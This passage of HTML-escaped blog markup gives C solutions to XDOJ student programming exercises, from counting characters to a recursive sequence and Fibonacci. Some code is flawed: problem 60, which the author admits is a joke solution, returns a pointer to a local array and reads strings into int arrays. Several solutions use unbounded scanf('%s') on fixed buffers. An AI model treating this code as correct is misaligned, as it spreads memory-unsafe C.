class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ch, a = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, b = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e ((ch = getchar()) != EOF \u0026amp;\u0026amp; ch != \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ch \u0026gt;= \u003cspan class=\"string\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e \u0026amp;\u0026amp; ch \u0026lt;= \u003cspan class=\"string\"\u003e\u0026#39;9\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((ch \u0026gt;= \u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e \u0026amp;\u0026amp; ch \u0026lt;= \u003cspan class=\"string\"\u003e\u0026#39;z\u0026#39;\u003c/span\u003e) || (ch \u0026gt;= \u003cspan class=\"string\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e \u0026amp;\u0026amp; ch \u0026lt;= \u003cspan class=\"string\"\u003e\u0026#39;Z\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e b++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d,%d\u0026#34;\u003c/span\u003e, b, a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"58-字符串查找\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#58-%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%9F%A5%E6%89%BE\" class=\"headerlink\" title=\"58.字符串查找\"\u003e\u003c/a\u003e58.字符串查找\u003c/h2\u003e\u003cp\u003e查找字母在字符串中的出现次数。把上面那个题删减一下就行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ch, c = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e ((ch = getchar()) != EOF \u0026amp;\u0026amp; ch != \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((ch \u0026gt;= \u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e \u0026amp;\u0026amp; ch \u0026lt;= \u003cspan class=\"string\"\u003e\u0026#39;z\u0026#39;\u003c/span\u003e) || (ch \u0026gt;= \u003cspan class=\"string\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e \u0026amp;\u0026amp; ch \u0026lt;= \u003cspan class=\"string\"\u003e\u0026#39;Z\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"59-字符串筛选\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#59-%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%AD%9B%E9%80%89\" class=\"headerlink\" title=\"59.字符串筛选\"\u003e\u003c/a\u003e59.字符串筛选\u003c/h2\u003e\u003cp\u003e隔一个输出。所以用一个计数器就行了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efun\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e *ch)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; *ch != \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i % \u003cspan class=\"number\"\u003e2\u003c/span\u003e == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(*ch++);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ch++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e ch[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\u0026#34;\u003c/span\u003e, \u0026amp;ch);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fun(ch);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"60-字符串连接\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#60-%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%BF%9E%E6%8E%A5\" class=\"headerlink\" title=\"60.字符串连接\"\u003e\u003c/a\u003e60.字符串连接\u003c/h2\u003e\u003cp\u003e不正经解法。别学我(\u003c/p\u003e\u003cp\u003e正经解法是:读入两个字符串常量,然后存储在res数组中,最后返回它的指针即可。\u003c/p\u003e\u003cp\u003e\u003cem\u003e懒得写了\u003c/em\u003e\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003efun\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e *a, \u003cspan class=\"type\"\u003echar\u003c/span\u003e *b)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e res[\u003cspan class=\"number\"\u003e200\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s%s\u0026#34;\u003c/span\u003e, a, b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ch, a[\u003cspan class=\"number\"\u003e100\u003c/span\u003e], b[\u003cspan class=\"number\"\u003e100\u003c/span\u003e], *res, i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s %s\u0026#34;\u003c/span\u003e, a, b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fun(a, b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"61-整数转换为字符串\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#61-%E6%95%B4%E6%95%B0%E8%BD%AC%E6%8D%A2%E4%B8%BA%E5%AD%97%E7%AC%A6%E4%B8%B2\" class=\"headerlink\" title=\"61.整数转换为字符串\"\u003e\u003c/a\u003e61.整数转换为字符串\u003c/h2\u003e\u003cp\u003e除了下面的解法,也可以严格按照题目要求来解:\u003ccode\u003egechar\u003c/code\u003e读入字符,再输出就行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e实在是不知道这题存在的意义。。\u003c/p\u003e\u003ch2 id=\"62-十六进制转换为十进制\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#62-%E5%8D%81%E5%85%AD%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2%E4%B8%BA%E5%8D%81%E8%BF%9B%E5%88%B6\" class=\"headerlink\" title=\"62.十六进制转换为十进制\"\u003e\u003c/a\u003e62.十六进制转换为十进制\u003c/h2\u003e\u003cp\u003e如果是十三进制转十进制这样的,就有难度了。。\u003c/p\u003e\u003cp\u003e这个的解法可以参照我前面写的进制转换那篇,回头我也会再写一个更通用的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%x\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"63-递归数列\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#63-%E9%80%92%E5%BD%92%E6%95%B0%E5%88%97\" class=\"headerlink\" title=\"63.递归数列\"\u003e\u003c/a\u003e63.递归数列\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003efunction\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n == \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1.000000\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1.000000\u003c/span\u003e / (\u003cspan class=\"number\"\u003e1.000000\u003c/span\u003e + function(--n));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"64-Fibonacci数列\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#64-Fibonacci%E6%95%B0%E5%88%97\" class=\"headerlink\" title=\"64.Fibonacci数列\"\u003e\u003c/a\u003e64.Fibonacci数列\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efib\u003c/span\u003e\u003cspan 